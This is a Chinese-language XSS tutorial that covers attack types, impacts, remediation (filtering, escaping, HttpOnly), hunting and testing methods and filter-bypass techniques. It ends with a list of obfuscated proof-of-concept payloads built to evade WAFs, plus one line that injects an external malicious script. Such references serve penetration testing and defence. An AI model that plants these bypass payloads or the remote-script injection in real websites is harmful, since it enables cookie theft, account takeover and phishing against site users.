原理
XSS(跨站脚本攻击)是一种通过在用户访问的网页中嵌入恶意脚本代码,以在用户浏览器中执行恶意操作的攻击手段。当用户访问包含恶意脚本的页面时,这些脚本会在用户浏览器中执行,导致安全威胁。
类型
-
反射型 XSS:
- 触发点:URL 参数。
- 机制:攻击者构造特定的 URL,用户访问后恶意脚本会在浏览器中执行。
- 特点:需要用户互动(点击链接)。
-
存储型 XSS:
- 触发点:存储在服务器上的数据。
- 机制:恶意脚本存储在数据库中,当用户访问相关页面时执行。
- 特点:持久性,影响范围广。
-
DOM 型 XSS:
- 触发点:客户端 JavaScript 代码。
- 机制:通过 DOM 操作直接注入恶意代码,不经过服务器处理。
- 特点:完全在客户端执行。
-
Self-XSS:
- 触发点:用户自身。
- 机制:攻击者诱导用户在浏览器控制台执行恶意代码。
- 特点:攻击范围仅限用户自己。
危害
- 窃取 Cookie 或敏感信息:恶意脚本可以读取用户的 Cookie 或输入的敏感信息。
- 网页挂马和篡改:恶意脚本可以修改网页内容或嵌入其他恶意代码。
- 网络钓鱼:诱骗用户访问伪造的网页,从而获取用户的敏感信息。
- 权限维持:记录后台登录信息,持续访问受害者的账户。
- 利用浏览器漏洞进行远程代码执行 (RCE):通过浏览器漏洞进一步控制用户设备。
- 组合攻击:如 SSRF 配合反射型 XSS。
修复方案
- 输入过滤:对用户输入进行严格过滤,移除特殊字符和 HTML 标签。推荐使用开源过滤库,如 HTML Purifier。
- 输出转义:对输出内容进行 HTML 实体转义,如将
<
转换为<
,>
转换为>
。 - 禁止事件属性和限制输入长度:减少潜在的攻击向量。
- 设置 HttpOnly 和 Secure 标记:保护 Cookie 安全,防止通过 JavaScript 读取。
挖掘思路
- 输入位置:任何接受用户输入的地方都可能存在 XSS 漏洞,如表单、搜索框等。
- 富文本编辑器:常见于公告、活动、邮件等位置,富文本编辑器可能存在 XSS 风险。
- 文件上传:支持上传 PDF、HTML、SVG、GIF 文件的地方可能存在 XSS。
- 文件名引用:文件名输出在前端时,若未做处理也可能导致 XSS。
测试思路
- 初步探索:随意输入字符,观察其在前端的位置和周围内容。
- 闭合标签和引号:尝试闭合 HTML 标签或双引号,观察输出是否被转义。
- 绕过 WAF:找到可用标签后,测试伪协议和事件属性,fuzz 以确定哪些可以使用。
案例分析
- 文本编辑器中的 XSS:
- 测试中发现大多数文本编辑器存在 XSS 漏洞。建议使用自己的账户进行验证,避免影响其他用户。
- 有过滤的存储型 XSS:
- 某企业管理后台中,部分字段存在过滤。通过 Unicode 编码绕过过滤,成功注入并执行恶意脚本。
绕过思路
- 字符替换:如单引号替换为反引号,
alert
替换为confirm
等。 - 编码:利用 HTML、JavaScript、进制编码进行绕过。
- 组合攻击:如利用
<svg/onload=setTimeout('alert(1)')>
绕过过滤。 - 外部 JS 引用:如
<svg/onload=s=createElement('script');s.src='恶意.js';document.body.appendChild(s)>
- 下面是高手常用payload
-
<img src=x onerror=alert(1)> <img src="x" onerror="window['al'+'ert'](1)"> <svg onload=alert(1)> <form id='test'></form><button form='test' formaction='javascript:alert(1)'>X</button> <a href=javascript:[1].find(alert)>xss</a> <img src=x onerror = javascript:alert(111)> <iframe src=javascript:[1].find(alert)></iframe> <xmp onmousemove="alert(1)">test</xmp> <form id="test"></form><button form="test" formaction="javascript:prompt(xss)">X</button> <x onmouseover="top['ale'+'rt'].call(null,'xss')">test <img src=1 onerror=location="javascr"+"ipt:"+"%61%6C%65%72%74%28%31%29"> <input/onfocus=_=alert,_(123)> <input onfocus=\u0061\u006C\u0065\u0072\u0074(1) autofocus> <input/%00/autofocus=""/%00/onfocus=.1|alert`XSS`> <svg/onload=setTimeout('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')> <details open ontoggle=[43804..toString(36)].some(confirm)> <object data='data:text/html;base64,PFNDUklQVD5hbGVydCgneHNzJyk7PC9TQ1JJUFQ+' /src> <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED> <table><caption onclick=aler\u0074(String.fr\u006fmCharC\u006fde(49))>Click me